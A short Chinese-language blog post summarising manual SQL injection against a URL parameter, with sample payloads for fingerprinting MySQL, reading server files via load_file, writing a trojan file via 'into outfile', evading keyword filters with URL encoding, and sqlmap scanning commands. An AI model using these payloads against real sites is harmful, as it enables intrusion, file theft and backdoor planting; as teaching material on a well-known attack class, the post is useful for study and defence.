SQL注入总结

SQL注入是服务器安全最重要的一块,也是经常出现问题的模块,防止SQL注入也是可行的。
示例URL:"http://www.site.com/login.php?id=1"

一、SQL注入步骤

1. 检测输入参数类型,为string还是int

判别方法:将id的值改为:2-1,即将URL改为:"http://www.site.com/login.php?id=2-1",看结果和"id=1"一样不,一样则说明“2-1”运算了,说明id是整形参数,则无需对后续做去除“引号”的操作。

2. 判断数据库类型

判别方法:在id参数后添加SQL语句,比如检测目标网站后台数据库是否为MySQL:添加"and (select count() from mysql.user)>0"*,即URL变成:
"http://www.site.com/login.php?id=1+and+(select+count(*)+from+mysql.user)>0";
这样的话,如果结果仍正常返回,则说明后台数据库是MySQL。则后续可以继续判断数据库的版本,当前数据库,表,用户等信息。

涉及函数: select version(); select user(); select database();

3.进一步查询目标系统信息,利用union,insert等语句
  • 查询某一目录下某一文件信息:(假设事先知道目标机的该目录下的文件),语句:union select null,(select load_file("c:\devlist.txt"))
    当然这个load_file函数是要有较高权限的,可以进行管理员信息查阅提权,提权后进行相关操作。
    SQL注入总结_第1张图片
    读取目标机信息

这样的话,实现了加载指定目录下文件的目的。

4.向目标机写入文件,注入木马
  • 向目标机写入文件(木马):(假设该用户有权限向目标路径写入文件);语句:union select null, '' into outfile 'D:\test.txt'
    SQL注入总结_第2张图片
    写入文件

二、SQL手工注入细节注意

如果在注入"and select union"语句时出现问题,被后台程序过滤掉,则可以用“d,s,u”(关键字的首字母)对应的URL编码代替,比如a的URL编码是%61
空格一般用+代替,或者/**/

三、SQL注入工具- sqlmap -- 开源跨平台

  • **python sqlmap.py -u "http://www.site.com/login.php?id=3" ** 判断是否有SQL漏洞
  • python sqlmap.py -u "http://www.site.com/login.php?id=3" --dbs --level 5 以“5”级别检测
    SQL注入总结_第3张图片
    终于有个漏洞网站了!
  • pangolin等(鸡肋)

2016.10.12 上海

你可能感兴趣的:(SQL注入总结)